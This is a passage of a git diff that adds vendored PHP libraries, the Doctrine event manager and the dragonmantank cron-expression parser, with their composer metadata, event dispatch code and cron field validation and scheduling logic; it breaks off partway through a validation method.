b/vendor/doctrine/event-manager/composer.json new file mode 100644 index 000000000..4ea788b44 --- /dev/null +++ b/vendor/doctrine/event-manager/composer.json @@ -0,0 +1,68 @@ +{ + "name": "doctrine/event-manager", + "description": "The Doctrine Event Manager is a simple PHP event system that was built to be used with the various Doctrine projects.", + "license": "MIT", + "type": "library", + "keywords": [ + "events", + "event", + "event dispatcher", + "event manager", + "event system" + ], + "authors": [ + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Benjamin Eberlei", + "email": "kontakt@beberlei.de" + }, + { + "name": "Jonathan Wage", + "email": "jonwage@gmail.com" + }, + { + "name": "Johannes Schmitt", + "email": "schmittjoh@gmail.com" + }, + { + "name": "Marco Pivetta", + "email": "ocramius@gmail.com" + } + ], + "homepage": "https://www.doctrine-project.org/projects/event-manager.html", + "require": { + "php": "^8.1" + }, + "require-dev": { + "doctrine/coding-standard": "^12", + "phpstan/phpstan": "^1.8.8", + "phpunit/phpunit": "^10.5", + "vimeo/psalm": "^5.24" + }, + "conflict": { + "doctrine/common": "<2.9" + }, + "autoload": { + "psr-4": { + "Doctrine\\Common\\": "src" + } + }, + "autoload-dev": { + "psr-4": { + "Doctrine\\Tests\\Common\\": "tests" + } + }, + "config": { + "allow-plugins": { + "dealerdirect/phpcodesniffer-composer-installer": true + }, + "sort-packages": true + } +} diff --git a/vendor/doctrine/event-manager/src/EventArgs.php b/vendor/doctrine/event-manager/src/EventArgs.php new file mode 100644 index 000000000..eea3d8a0a --- /dev/null +++ b/vendor/doctrine/event-manager/src/EventArgs.php @@ -0,0 +1,37 @@ + => + * + * @var array + */ + private array $listeners = []; + + /** + * Dispatches an event to all registered listeners. + * + * @param string $eventName The name of the event to dispatch. The name of the event is + * the name of the method that is invoked on listeners. + * @param EventArgs|null $eventArgs The event arguments to pass to the event handlers/listeners. + * If not supplied, the single empty EventArgs instance is used. + */ + public function dispatchEvent(string $eventName, EventArgs|null $eventArgs = null): void + { + if (! isset($this->listeners[$eventName])) { + return; + } + + $eventArgs ??= EventArgs::getEmptyInstance(); + + foreach ($this->listeners[$eventName] as $listener) { + $listener->$eventName($eventArgs); + } + } + + /** + * Gets the listeners of a specific event. + * + * @param string $event The name of the event. + * + * @return object[] + */ + public function getListeners(string $event): array + { + return $this->listeners[$event] ?? []; + } + + /** + * Gets all listeners keyed by event name. + * + * @return array The event listeners for the specified event, or all event listeners. + */ + public function getAllListeners(): array + { + return $this->listeners; + } + + /** + * Checks whether an event has any registered listeners. + */ + public function hasListeners(string $event): bool + { + return ! empty($this->listeners[$event]); + } + + /** + * Adds an event listener that listens on the specified events. + * + * @param string|string[] $events The event(s) to listen on. + * @param object $listener The listener object. + */ + public function addEventListener(string|array $events, object $listener): void + { + // Picks the hash code related to that listener + $hash = spl_object_hash($listener); + + foreach ((array) $events as $event) { + // Overrides listener if a previous one was associated already + // Prevents duplicate listeners on same event (same instance only) + $this->listeners[$event][$hash] = $listener; + } + } + + /** + * Removes an event listener from the specified events. + * + * @param string|string[] $events + */ + public function removeEventListener(string|array $events, object $listener): void + { + // Picks the hash code related to that listener + $hash = spl_object_hash($listener); + + foreach ((array) $events as $event) { + unset($this->listeners[$event][$hash]); + } + } + + /** + * Adds an EventSubscriber. + * + * The subscriber is asked for all the events it is interested in and added + * as a listener for these events. + */ + public function addEventSubscriber(EventSubscriber $subscriber): void + { + $this->addEventListener($subscriber->getSubscribedEvents(), $subscriber); + } + + /** + * Removes an EventSubscriber. + * + * The subscriber is asked for all the events it is interested in and removed + * as a listener for these events. + */ + public function removeEventSubscriber(EventSubscriber $subscriber): void + { + $this->removeEventListener($subscriber->getSubscribedEvents(), $subscriber); + } +} diff --git a/vendor/doctrine/event-manager/src/EventSubscriber.php b/vendor/doctrine/event-manager/src/EventSubscriber.php new file mode 100644 index 000000000..89cef558a --- /dev/null +++ b/vendor/doctrine/event-manager/src/EventSubscriber.php @@ -0,0 +1,21 @@ +fullRange = range($this->rangeStart, $this->rangeEnd); + } + + /** + * Check to see if a field is satisfied by a value. + * + * @internal + * @param int $dateValue Date value to check + * @param string $value Value to test + * + * @return bool + */ + public function isSatisfied(int $dateValue, string $value): bool + { + if ($this->isIncrementsOfRanges($value)) { + return $this->isInIncrementsOfRanges($dateValue, $value); + } + + if ($this->isRange($value)) { + return $this->isInRange($dateValue, $value); + } + + return '*' === $value || $dateValue === (int) $value; + } + + /** + * Check if a value is a range. + * + * @internal + * @param string $value Value to test + * + * @return bool + */ + public function isRange(string $value): bool + { + return false !== strpos($value, '-'); + } + + /** + * Check if a value is an increments of ranges. + * + * @internal + * @param string $value Value to test + * + * @return bool + */ + public function isIncrementsOfRanges(string $value): bool + { + return false !== strpos($value, '/'); + } + + /** + * Test if a value is within a range. + * + * @internal + * @param int $dateValue Set date value + * @param string $value Value to test + * + * @return bool + */ + public function isInRange(int $dateValue, $value): bool + { + $parts = array_map( + function ($value) { + $value = trim($value); + + return $this->convertLiterals($value); + }, + explode('-', $value, 2) + ); + + return $dateValue >= $parts[0] && $dateValue <= $parts[1]; + } + + /** + * Test if a value is within an increments of ranges (offset[-to]/step size). + * + * @internal + * @param int $dateValue Set date value + * @param string $value Value to test + * + * @return bool + */ + public function isInIncrementsOfRanges(int $dateValue, string $value): bool + { + $chunks = array_map('trim', explode('/', $value, 2)); + $range = $chunks[0]; + $step = $chunks[1] ?? 0; + + // No step or 0 steps aren't cool + /** @phpstan-ignore-next-line */ + if (null === $step || '0' === $step || 0 === $step) { + return false; + } + + // Expand the * to a full range + if ('*' === $range) { + $range = $this->rangeStart . '-' . $this->rangeEnd; + } + + // Generate the requested small range + $rangeChunks = explode('-', $range, 2); + $rangeStart = (int) $rangeChunks[0]; + $rangeEnd = $rangeChunks[1] ?? $rangeStart; + $rangeEnd = (int) $rangeEnd; + + if ($rangeStart < $this->rangeStart || $rangeStart > $this->rangeEnd || $rangeStart > $rangeEnd) { + throw new \OutOfRangeException('Invalid range start requested'); + } + + if ($rangeEnd < $this->rangeStart || $rangeEnd > $this->rangeEnd || $rangeEnd < $rangeStart) { + throw new \OutOfRangeException('Invalid range end requested'); + } + + // Steps larger than the range need to wrap around and be handled + // slightly differently than smaller steps + + // UPDATE - This is actually false. The C implementation will allow a + // larger step as valid syntax, it never wraps around. It will stop + // once it hits the end. Unfortunately this means in future versions + // we will not wrap around. However, because the logic exists today + // per the above documentation, fixing the bug from #89 + if ($step > $this->rangeEnd) { + $thisRange = [$this->fullRange[$step % \count($this->fullRange)]]; + } else { + if ($step > ($rangeEnd - $rangeStart)) { + $thisRange[$rangeStart] = (int) $rangeStart; + } else { + $thisRange = range($rangeStart, $rangeEnd, (int) $step); + } + } + + return \in_array($dateValue, $thisRange, true); + } + + /** + * Returns a range of values for the given cron expression. + * + * @param string $expression The expression to evaluate + * @param int $max Maximum offset for range + * + * @return array + */ + public function getRangeForExpression(string $expression, int $max): array + { + $values = []; + $expression = $this->convertLiterals($expression); + + if (false !== strpos($expression, ',')) { + $ranges = explode(',', $expression); + $values = []; + foreach ($ranges as $range) { + $expanded = $this->getRangeForExpression($range, $this->rangeEnd); + $values = array_merge($values, $expanded); + } + + return $values; + } + + if ($this->isRange($expression) || $this->isIncrementsOfRanges($expression)) { + if (!$this->isIncrementsOfRanges($expression)) { + [$offset, $to] = explode('-', $expression); + $offset = $this->convertLiterals($offset); + $to = $this->convertLiterals($to); + $stepSize = 1; + } else { + $range = array_map('trim', explode('/', $expression, 2)); + $stepSize = $range[1] ?? 0; + $range = $range[0]; + $range = explode('-', $range, 2); + $offset = $range[0]; + $to = $range[1] ?? $max; + } + $offset = '*' === $offset ? $this->rangeStart : $offset; + if ($stepSize >= $this->rangeEnd) { + $values = [$this->fullRange[$stepSize % \count($this->fullRange)]]; + } else { + for ($i = $offset; $i <= $to; $i += $stepSize) { + $values[] = (int) $i; + } + } + sort($values); + } else { + $values = [$expression]; + } + + return $values; + } + + /** + * Convert literal. + * + * @param string $value + * + * @return string + */ + protected function convertLiterals(string $value): string + { + if (\count($this->literals)) { + $key = array_search(strtoupper($value), $this->literals, true); + if (false !== $key) { + return (string) $key; + } + } + + return $value; + } + + /** + * Checks to see if a value is valid for the field. + * + * @param string $value + * + * @return bool + */ + public function validate(string $value): bool + { + $value = $this->convertLiterals($value); + + // All fields allow * as a valid value + if ('*' === $value) { + return true; + } + + // Validate each chunk of a list individually + if (false !== strpos($value, ',')) { + foreach (explode(',', $value) as $listItem) { + if (!$this->validate($listItem)) { + return false; + } + } + + return true; + } + + if (false !== strpos($value, '/')) { + [$range, $step] = explode('/', $value); + + // Don't allow numeric ranges + if (is_numeric($range)) { + return false; + } + + return $this->validate($range) && filter_var($step, FILTER_VALIDATE_INT); + } + + if (false !== strpos($value, '-')) { + if (substr_count($value, '-') > 1) { + return false; + } + + $chunks = explode('-', $value); + $chunks[0] = $this->convertLiterals($chunks[0]); + $chunks[1] = $this->convertLiterals($chunks[1]); + + if ('*' === $chunks[0] || '*' === $chunks[1]) { + return false; + } + + return $this->validate($chunks[0]) && $this->validate($chunks[1]); + } + + if (!is_numeric($value)) { + return false; + } + + if (false !== strpos($value, '.')) { + return false; + } + + // We should have a numeric by now, so coerce this into an integer + $value = (int) $value; + + return \in_array($value, $this->fullRange, true); + } + + protected function timezoneSafeModify(DateTimeInterface $dt, string $modification): DateTimeInterface + { + $timezone = $dt->getTimezone(); + $dt = $dt->setTimezone(new \DateTimeZone("UTC")); + $dt = $dt->modify($modification); + $dt = $dt->setTimezone($timezone); + return $dt; + } + + protected function setTimeHour(DateTimeInterface $date, bool $invert, int $originalTimestamp): DateTimeInterface + { + $date = $date->setTime((int)$date->format('H'), ($invert ? 59 : 0)); + + // setTime caused the offset to change, moving time in the wrong direction + $actualTimestamp = $date->format('U'); + if ((! $invert) && ($actualTimestamp <= $originalTimestamp)) { + $date = $this->timezoneSafeModify($date, "+1 hour"); + } elseif ($invert && ($actualTimestamp >= $originalTimestamp)) { + $date = $this->timezoneSafeModify($date, "-1 hour"); + } + + return $date; + } +} diff --git a/vendor/dragonmantank/cron-expression/src/Cron/CronExpression.php b/vendor/dragonmantank/cron-expression/src/Cron/CronExpression.php new file mode 100644 index 000000000..216ce432f --- /dev/null +++ b/vendor/dragonmantank/cron-expression/src/Cron/CronExpression.php @@ -0,0 +1,578 @@ + '0 0 1 1 *', + '@annually' => '0 0 1 1 *', + '@monthly' => '0 0 1 * *', + '@weekly' => '0 0 * * 0', + '@daily' => '0 0 * * *', + '@midnight' => '0 0 * * *', + '@hourly' => '0 * * * *', + ]; + + /** + * @var array CRON expression parts + */ + protected $cronParts; + + /** + * @var FieldFactoryInterface CRON field factory + */ + protected $fieldFactory; + + /** + * @var int Max iteration count when searching for next run date + */ + protected $maxIterationCount = 1000; + + /** + * @var array Order in which to test of cron parts + */ + protected static $order = [ + self::YEAR, + self::MONTH, + self::DAY, + self::WEEKDAY, + self::HOUR, + self::MINUTE, + ]; + + /** + * @var array + */ + private static $registeredAliases = self::MAPPINGS; + + /** + * Registered a user defined CRON Expression Alias. + * + * @throws LogicException If the expression or the alias name are invalid + * or if the alias is already registered. + */ + public static function registerAlias(string $alias, string $expression): void + { + try { + new self($expression); + } catch (InvalidArgumentException $exception) { + throw new LogicException("The expression `$expression` is invalid", 0, $exception); + } + + $shortcut = strtolower($alias); + if (1 !== preg_match('/^@\w+$/', $shortcut)) { + throw new LogicException("The alias `$alias` is invalid. It must start with an `@` character and contain alphanumeric (letters, numbers, regardless of case) plus underscore (_)."); + } + + if (isset(self::$registeredAliases[$shortcut])) { + throw new LogicException("The alias `$alias` is already registered."); + } + + self::$registeredAliases[$shortcut] = $expression; + } + + /** + * Unregistered a user defined CRON Expression Alias. + * + * @throws LogicException If the user tries to unregister a built-in alias + */ + public static function unregisterAlias(string $alias): bool + { + $shortcut = strtolower($alias); + if (isset(self::MAPPINGS[$shortcut])) { + throw new LogicException("The alias `$alias` is a built-in alias; it can not be unregistered."); + } + + if (!isset(self::$registeredAliases[$shortcut])) { + return false; + } + + unset(self::$registeredAliases[$shortcut]); + + return true; + } + + /** + * Tells whether a CRON Expression alias is registered. + */ + public static function supportsAlias(string $alias): bool + { + return isset(self::$registeredAliases[strtolower($alias)]); + } + + /** + * Returns all registered aliases as an associated array where the aliases are the key + * and their associated expressions are the values. + * + * @return array + */ + public static function getAliases(): array + { + return self::$registeredAliases; + } + + /** + * @deprecated since version 3.0.2, use __construct instead. + */ + public static function factory(string $expression, FieldFactoryInterface $fieldFactory = null): CronExpression + { + /** @phpstan-ignore-next-line */ + return new static($expression, $fieldFactory); + } + + /** + * Validate a CronExpression. + * + * @param string $expression the CRON expression to validate + * + * @return bool True if a valid CRON expression was passed. False if not. + */ + public static function isValidExpression(string $expression): bool + { + try { + new CronExpression($expression); + } catch (InvalidArgumentException $e) { + return false; + } + + return true; + } + + /** + * Parse a CRON expression. + * + * @param string $expression CRON expression (e.g. '8 * * * *') + * @param null|FieldFactoryInterface $fieldFactory Factory to create cron fields + * @throws InvalidArgumentException + */ + public function __construct(string $expression, FieldFactoryInterface $fieldFactory = null) + { + $shortcut = strtolower($expression); + $expression = self::$registeredAliases[$shortcut] ?? $expression; + + $this->fieldFactory = $fieldFactory ?: new FieldFactory(); + $this->setExpression($expression); + } + + /** + * Set or change the CRON expression. + * + * @param string $value CRON expression (e.g. 8 * * * *) + * + * @throws \InvalidArgumentException if not a valid CRON expression + * + * @return CronExpression + */ + public function setExpression(string $value): CronExpression + { + $split = preg_split('/\s/', $value, -1, PREG_SPLIT_NO_EMPTY); + Assert::isArray($split); + + $notEnoughParts = \count($split) < 5; + + $questionMarkInInvalidPart = array_key_exists(0, $split) && $split[0] === '?' + || array_key_exists(1, $split) && $split[1] === '?' + || array_key_exists(3, $split) && $split[3] === '?'; + + $tooManyQuestionMarks = array_key_exists(2, $split) && $split[2] === '?' + && array_key_exists(4, $split) && $split[4] === '?'; + + if ($notEnoughParts || $questionMarkInInvalidPart || $tooManyQuestionMarks) { + throw new InvalidArgumentException( + $value . ' is not a valid CRON expression' + ); + } + + $this->cronParts = $split; + foreach ($this->cronParts as $position => $part) { + $this->setPart($position, $part); + } + + return $this; + } + + /** + * Set part of the CRON expression. + * + * @param int $position The position of the CRON expression to set + * @param string $value The value to set + * + * @throws \InvalidArgumentException if the value is not valid for the part + * + * @return CronExpression + */ + public function setPart(int $position, string $value): CronExpression + { + if (!$this->fieldFactory->getField($position)->validate($value)) { + throw new InvalidArgumentException( + 'Invalid CRON field value ' . $value . ' at position ' . $position + ); + } + + $this->cronParts[$position] = $value; + + return $this; + } + + /** + * Set max iteration count for searching next run dates. + * + * @param int $maxIterationCount Max iteration count when searching for next run date + * + * @return CronExpression + */ + public function setMaxIterationCount(int $maxIterationCount): CronExpression + { + $this->maxIterationCount = $maxIterationCount; + + return $this; + } + + /** + * Get a next run date relative to the current date or a specific date + * + * @param string|\DateTimeInterface $currentTime Relative calculation date + * @param int $nth Number of matches to skip before returning a + * matching next run date. 0, the default, will return the + * current date and time if the next run date falls on the + * current date and time. Setting this value to 1 will + * skip the first match and go to the second match. + * Setting this value to 2 will skip the first 2 + * matches and so on. + * @param bool $allowCurrentDate Set to TRUE to return the current date if + * it matches the cron expression. + * @param null|string $timeZone TimeZone to use instead of the system default + * + * @throws \RuntimeException on too many iterations + * @throws \Exception + * + * @return \DateTime + */ + public function getNextRunDate($currentTime = 'now', int $nth = 0, bool $allowCurrentDate = false, $timeZone = null): DateTime + { + return $this->getRunDate($currentTime, $nth, false, $allowCurrentDate, $timeZone); + } + + /** + * Get a previous run date relative to the current date or a specific date. + * + * @param string|\DateTimeInterface $currentTime Relative calculation date + * @param int $nth Number of matches to skip before returning + * @param bool $allowCurrentDate Set to TRUE to return the + * current date if it matches the cron expression + * @param null|string $timeZone TimeZone to use instead of the system default + * + * @throws \RuntimeException on too many iterations + * @throws \Exception + * + * @return \DateTime + * + * @see \Cron\CronExpression::getNextRunDate + */ + public function getPreviousRunDate($currentTime = 'now', int $nth = 0, bool $allowCurrentDate = false, $timeZone = null): DateTime + { + return $this->getRunDate($currentTime, $nth, true, $allowCurrentDate, $timeZone); + } + + /** + * Get multiple run dates starting at the current date or a specific date. + * + * @param int $total Set the total number of dates to calculate + * @param string|\DateTimeInterface|null $currentTime Relative calculation date + * @param bool $invert Set to TRUE to retrieve previous dates + * @param bool $allowCurrentDate Set to TRUE to return the + * current date if it matches the cron expression + * @param null|string $timeZone TimeZone to use instead of the system default + * + * @return \DateTime[] Returns an array of run dates + */ + public function getMultipleRunDates(int $total, $currentTime = 'now', bool $invert = false, bool $allowCurrentDate = false, $timeZone = null): array + { + $timeZone = $this->determineTimeZone($currentTime, $timeZone); + + if ('now' === $currentTime) { + $currentTime = new DateTime(); + } elseif ($currentTime instanceof DateTime) { + $currentTime = clone $currentTime; + } elseif ($currentTime instanceof DateTimeImmutable) { + $currentTime = DateTime::createFromFormat('U', $currentTime->format('U')); + } elseif (\is_string($currentTime)) { + $currentTime = new DateTime($currentTime); + } + + Assert::isInstanceOf($currentTime, DateTime::class); + $currentTime->setTimezone(new DateTimeZone($timeZone)); + + $matches = []; + for ($i = 0; $i < $total; ++$i) { + try { + $result = $this->getRunDate($currentTime, 0, $invert, $allowCurrentDate, $timeZone); + } catch (RuntimeException $e) { + break; + } + + $allowCurrentDate = false; + $currentTime = clone $result; + $matches[] = $result; + } + + return $matches; + } + + /** + * Get all or part of the CRON expression. + * + * @param int|string|null $part specify the part to retrieve or NULL to get the full + * cron schedule string + * + * @return null|string Returns the CRON expression, a part of the + * CRON expression, or NULL if the part was specified but not found + */ + public function getExpression($part = null): ?string + { + if (null === $part) { + return implode(' ', $this->cronParts); + } + + if (array_key_exists($part, $this->cronParts)) { + return $this->cronParts[$part]; + } + + return null; + } + + /** + * Gets the parts of the cron expression as an array. + * + * @return string[] + * The array of parts that make up this expression. + */ + public function getParts() + { + return $this->cronParts; + } + + /** + * Helper method to output the full expression. + * + * @return string Full CRON expression + */ + public function __toString(): string + { + return (string) $this->getExpression(); + } + + /** + * Determine if the cron is due to run based on the current date or a + * specific date. This method assumes that the current number of + * seconds are irrelevant, and should be called once per minute. + * + * @param string|\DateTimeInterface $currentTime Relative calculation date + * @param null|string $timeZone TimeZone to use instead of the system default + * + * @return bool Returns TRUE if the cron is due to run or FALSE if not + */ + public function isDue($currentTime = 'now', $timeZone = null): bool + { + $timeZone = $this->determineTimeZone($currentTime, $timeZone); + + if ('now' === $currentTime) { + $currentTime = new DateTime(); + } elseif ($currentTime instanceof DateTime) { + $currentTime = clone $currentTime; + } elseif ($currentTime instanceof DateTimeImmutable) { + $currentTime = DateTime::createFromFormat('U', $currentTime->format('U')); + } elseif (\is_string($currentTime)) { + $currentTime = new DateTime($currentTime); + } + + Assert::isInstanceOf($currentTime, DateTime::class); + $currentTime->setTimezone(new DateTimeZone($timeZone)); + + // drop the seconds to 0 + $currentTime->setTime((int) $currentTime->format('H'), (int) $currentTime->format('i'), 0); + + try { + return $this->getNextRunDate($currentTime, 0, true)->getTimestamp() === $currentTime->getTimestamp(); + } catch (Exception $e) { + return false; + } + } + + /** + * Get the next or previous run date of the expression relative to a date. + * + * @param string|\DateTimeInterface|null $currentTime Relative calculation date + * @param int $nth Number of matches to skip before returning + * @param bool $invert Set to TRUE to go backwards in time + * @param bool $allowCurrentDate Set to TRUE to return the + * current date if it matches the cron expression + * @param string|null $timeZone TimeZone to use instead of the system default + * + * @throws \RuntimeException on too many iterations + * @throws Exception + * + * @return \DateTime + */ + protected function getRunDate($currentTime = null, int $nth = 0, bool $invert = false, bool $allowCurrentDate = false, $timeZone = null): DateTime + { + $timeZone = $this->determineTimeZone($currentTime, $timeZone); + + if ($currentTime instanceof DateTime) { + $currentDate = clone $currentTime; + } elseif ($currentTime instanceof DateTimeImmutable) { + $currentDate = DateTime::createFromFormat('U', $currentTime->format('U')); + } elseif (\is_string($currentTime)) { + $currentDate = new DateTime($currentTime); + } else { + $currentDate = new DateTime('now'); + } + + Assert::isInstanceOf($currentDate, DateTime::class); + $currentDate->setTimezone(new DateTimeZone($timeZone)); + // Workaround for setTime causing an offset change: https://bugs.php.net/bug.php?id=81074 + $currentDate = DateTime::createFromFormat("!Y-m-d H:iO", $currentDate->format("Y-m-d H:iP"), $currentDate->getTimezone()); + if ($currentDate === false) { + throw new \RuntimeException('Unable to create date from format'); + } + $currentDate->setTimezone(new DateTimeZone($timeZone)); + + $nextRun = clone $currentDate; + + // We don't have to satisfy * or null fields + $parts = []; + $fields = []; + foreach (self::$order as $position) { + $part = $this->getExpression($position); + if (null === $part || '*' === $part) { + continue; + } + $parts[$position] = $part; + $fields[$position] = $this->fieldFactory->getField($position); + } + + if (isset($parts[self::DAY]) && isset($parts[self::WEEKDAY])) { + $domExpression = sprintf('%s %s %s %s *', $this->getExpression(0), $this->getExpression(1), $this->getExpression(2), $this->getExpression(3)); + $dowExpression = sprintf('%s %s * %s %s', $this->getExpression(0), $this->getExpression(1), $this->getExpression(3), $this->getExpression(4)); + + $domExpression = new self($domExpression); + $dowExpression = new self($dowExpression); + + $domRunDates = $domExpression->getMultipleRunDates($nth + 1, $currentTime, $invert, $allowCurrentDate, $timeZone); + $dowRunDates = $dowExpression->getMultipleRunDates($nth + 1, $currentTime, $invert, $allowCurrentDate, $timeZone); + + if ($parts[self::DAY] === '?' || $parts[self::DAY] === '*') { + $domRunDates = []; + } + + if ($parts[self::WEEKDAY] === '?' || $parts[self::WEEKDAY] === '*') { + $dowRunDates = []; + } + + $combined = array_merge($domRunDates, $dowRunDates); + usort($combined, function ($a, $b) { + return $a->format('Y-m-d H:i:s') <=> $b->format('Y-m-d H:i:s'); + }); + if ($invert) { + $combined = array_reverse($combined); + } + + return $combined[$nth]; + } + + // Set a hard limit to bail on an impossible date + for ($i = 0; $i < $this->maxIterationCount; ++$i) { + foreach ($parts as $position => $part) { + $satisfied = false; + // Get the field object used to validate this part + $field = $fields[$position]; + // Check if this is singular or a list + if (false === strpos($part, ',')) { + $satisfied = $field->isSatisfiedBy($nextRun, $part, $invert); + } else { + foreach (array_map('trim', explode(',', $part)) as $listPart) { + if ($field->isSatisfiedBy($nextRun, $listPart, $invert)) { + $satisfied = true; + + break; + } + } + } + + // If the field is not satisfied, then start over + if (!$satisfied) { + $field->increment($nextRun, $invert, $part); + + continue 2; + } + } + + // Skip this match if needed + if ((!$allowCurrentDate && $nextRun == $currentDate) || --$nth > -1) { + $this->fieldFactory->getField(self::MINUTE)->increment($nextRun, $invert, $parts[self::MINUTE] ?? null); + continue; + } + + return $nextRun; + } + + // @codeCoverageIgnoreStart + throw new RuntimeException('Impossible CRON expression'); + // @codeCoverageIgnoreEnd + } + + /** + * Workout what timeZone should be used. + * + * @param string|\DateTimeInterface|null $currentTime Relative calculation date + * @param string|null $timeZone TimeZone to use instead of the system default + * + * @return string + */ + protected function determineTimeZone($currentTime, ?string $timeZone): string + { + if (null !== $timeZone) { + return $timeZone; + } + + if ($currentTime instanceof DateTimeInterface) { + return $currentTime->getTimezone()->getName(); + } + + return date_default_timezone_get(); + } +} diff --git a/vendor/dragonmantank/cron-expression/src/Cron/DayOfMonthField.php b/vendor/dragonmantank/cron-expression/src/Cron/DayOfMonthField.php new file mode 100644 index 000000000..39ff59783 --- /dev/null +++ b/vendor/dragonmantank/cron-expression/src/Cron/DayOfMonthField.php @@ -0,0 +1,164 @@ + + */ +class DayOfMonthField extends AbstractField +{ + /** + * {@inheritdoc} + */ + protected $rangeStart = 1; + + /** + * {@inheritdoc} + */ + protected $rangeEnd = 31; + + /** + * Get the nearest day of the week for a given day in a month. + * + * @param int $currentYear Current year + * @param int $currentMonth Current month + * @param int $targetDay Target day of the month + * + * @return \DateTime|null Returns the nearest date + */ + private static function getNearestWeekday(int $currentYear, int $currentMonth, int $targetDay): ?DateTime + { + $tday = str_pad((string) $targetDay, 2, '0', STR_PAD_LEFT); + $target = DateTime::createFromFormat('Y-m-d', "{$currentYear}-{$currentMonth}-{$tday}"); + + if ($target === false) { + return null; + } + + $currentWeekday = (int) $target->format('N'); + + if ($currentWeekday < 6) { + return $target; + } + + $lastDayOfMonth = $target->format('t'); + foreach ([-1, 1, -2, 2] as $i) { + $adjusted = $targetDay + $i; + if ($adjusted > 0 && $adjusted <= $lastDayOfMonth) { + $target->setDate($currentYear, $currentMonth, $adjusted); + + if ((int) $target->format('N') < 6 && (int) $target->format('m') === $currentMonth) { + return $target; + } + } + } + + return null; + } + + /** + * {@inheritdoc} + */ + public function isSatisfiedBy(DateTimeInterface $date, $value, bool $invert): bool + { + // ? states that the field value is to be skipped + if ('?' === $value) { + return true; + } + + $fieldValue = $date->format('d'); + + // Check to see if this is the last day of the month + if ('L' === $value) { + return $fieldValue === $date->format('t'); + } + + // Check to see if this is the nearest weekday to a particular value + if ($wPosition = strpos($value, 'W')) { + // Parse the target day + $targetDay = (int) substr($value, 0, $wPosition); + // Find out if the current day is the nearest day of the week + $nearest = self::getNearestWeekday( + (int) $date->format('Y'), + (int) $date->format('m'), + $targetDay + ); + if ($nearest) { + return $date->format('j') === $nearest->format('j'); + } + + throw new \RuntimeException('Unable to return nearest weekday'); + } + + return $this->isSatisfied((int) $date->format('d'), $value); + } + + /** + * @inheritDoc + * + * @param \DateTime|\DateTimeImmutable $date + */ + public function increment(DateTimeInterface &$date, $invert = false, $parts = null): FieldInterface + { + if (! $invert) { + $date = $date->add(new \DateInterval('P1D')); + $date = $date->setTime(0, 0); + } else { + $date = $date->sub(new \DateInterval('P1D')); + $date = $date->setTime(23, 59); + } + + return $this; + } + + /** + * {@inheritdoc} + */ + public function validate(string $value): bool + { + $basicChecks = parent::validate($value); + + // Validate that a list don't have W or L + if (false !== strpos($value, ',') && (false !== strpos($value, 'W') || false !== strpos($value, 'L'))) { + return false; + } + + if (!$basicChecks) { + if ('?' === $value) { + return true; + } + + if ('L' === $value) { + return true; + } + + if (preg_match('/^(.*)W$/', $value, $matches)) { + return $this->validate($matches[1]); + } + + return false; + } + + return $basicChecks; + } +} diff --git a/vendor/dragonmantank/cron-expression/src/Cron/DayOfWeekField.php b/vendor/dragonmantank/cron-expression/src/Cron/DayOfWeekField.php new file mode 100644 index 000000000..b9bbf48b6 --- /dev/null +++ b/vendor/dragonmantank/cron-expression/src/Cron/DayOfWeekField.php @@ -0,0 +1,194 @@ + 'MON', 2 => 'TUE', 3 => 'WED', 4 => 'THU', 5 => 'FRI', 6 => 'SAT', 7 => 'SUN']; + + /** + * Constructor + */ + public function __construct() + { + $this->nthRange = range(1, 5); + parent::__construct(); + } + + /** + * @inheritDoc + */ + public function isSatisfiedBy(DateTimeInterface $date, $value, bool $invert): bool + { + if ('?' === $value) { + return true; + } + + // Convert text day of the week values to integers + $value = $this->convertLiterals($value); + + $currentYear = (int) $date->format('Y'); + $currentMonth = (int) $date->format('m'); + $lastDayOfMonth = (int) $date->format('t'); + + // Find out if this is the last specific weekday of the month + if ($lPosition = strpos($value, 'L')) { + $weekday = $this->convertLiterals(substr($value, 0, $lPosition)); + $weekday %= 7; + + $daysInMonth = (int) $date->format('t'); + $remainingDaysInMonth = $daysInMonth - (int) $date->format('d'); + return (($weekday === (int) $date->format('w')) && ($remainingDaysInMonth < 7)); + } + + // Handle # hash tokens + if (strpos($value, '#')) { + [$weekday, $nth] = explode('#', $value); + + if (!is_numeric($nth)) { + throw new InvalidArgumentException("Hashed weekdays must be numeric, {$nth} given"); + } else { + $nth = (int) $nth; + } + + // 0 and 7 are both Sunday, however 7 matches date('N') format ISO-8601 + if ('0' === $weekday) { + $weekday = 7; + } + + $weekday = (int) $this->convertLiterals((string) $weekday); + + // Validate the hash fields + if ($weekday < 0 || $weekday > 7) { + throw new InvalidArgumentException("Weekday must be a value between 0 and 7. {$weekday} given"); + } + + if (!\in_array($nth, $this->nthRange, true)) { + throw new InvalidArgumentException("There are never more than 5 or less than 1 of a given weekday in a month, {$nth} given"); + } + + // The current weekday must match the targeted weekday to proceed + if ((int) $date->format('N') !== $weekday) { + return false; + } + + $tdate = clone $date; + $tdate = $tdate->setDate($currentYear, $currentMonth, 1); + $dayCount = 0; + $currentDay = 1; + while ($currentDay < $lastDayOfMonth + 1) { + if ((int) $tdate->format('N') === $weekday) { + if (++$dayCount >= $nth) { + break; + } + } + $tdate = $tdate->setDate($currentYear, $currentMonth, ++$currentDay); + } + + return (int) $date->format('j') === $currentDay; + } + + // Handle day of the week values + if (false !== strpos($value, '-')) { + $parts = explode('-', $value); + if ('7' === $parts[0]) { + $parts[0] = 0; + } elseif ('0' === $parts[1]) { + $parts[1] = 7; + } + $value = implode('-', $parts); + } + + // Test to see which Sunday to use -- 0 == 7 == Sunday + $format = \in_array(7, array_map(function ($value) { + return (int) $value; + }, str_split($value)), true) ? 'N' : 'w'; + $fieldValue = (int) $date->format($format); + + return $this->isSatisfied($fieldValue, $value); + } + + /** + * @inheritDoc + */ + public function increment(DateTimeInterface &$date, $invert = false, $parts = null): FieldInterface + { + if (! $invert) { + $date = $date->add(new \DateInterval('P1D')); + $date = $date->setTime(0, 0); + } else { + $date = $date->sub(new \DateInterval('P1D')); + $date = $date->setTime(23, 59); + } + + return $this; + } + + /** + * {@inheritdoc} + */ + public function validate(string $value): bool + { + $basicChecks = parent::validate($value); + + if (!$basicChecks) { + if ('?' === $value) { + return true; + } + + // Handle the # value + if (false !== strpos($value, '#')) { + $chunks = explode('#', $value); + $chunks[0] = $this->convertLiterals($chunks[0]); + + if (parent::validate($chunks[0]) && is_numeric($chunks[1]) && \in_array((int) $chunks[1], $this->nthRange, true)) { + return true; + } + } + + if (preg_match('/^(.*)L$/', $value, $matches)) 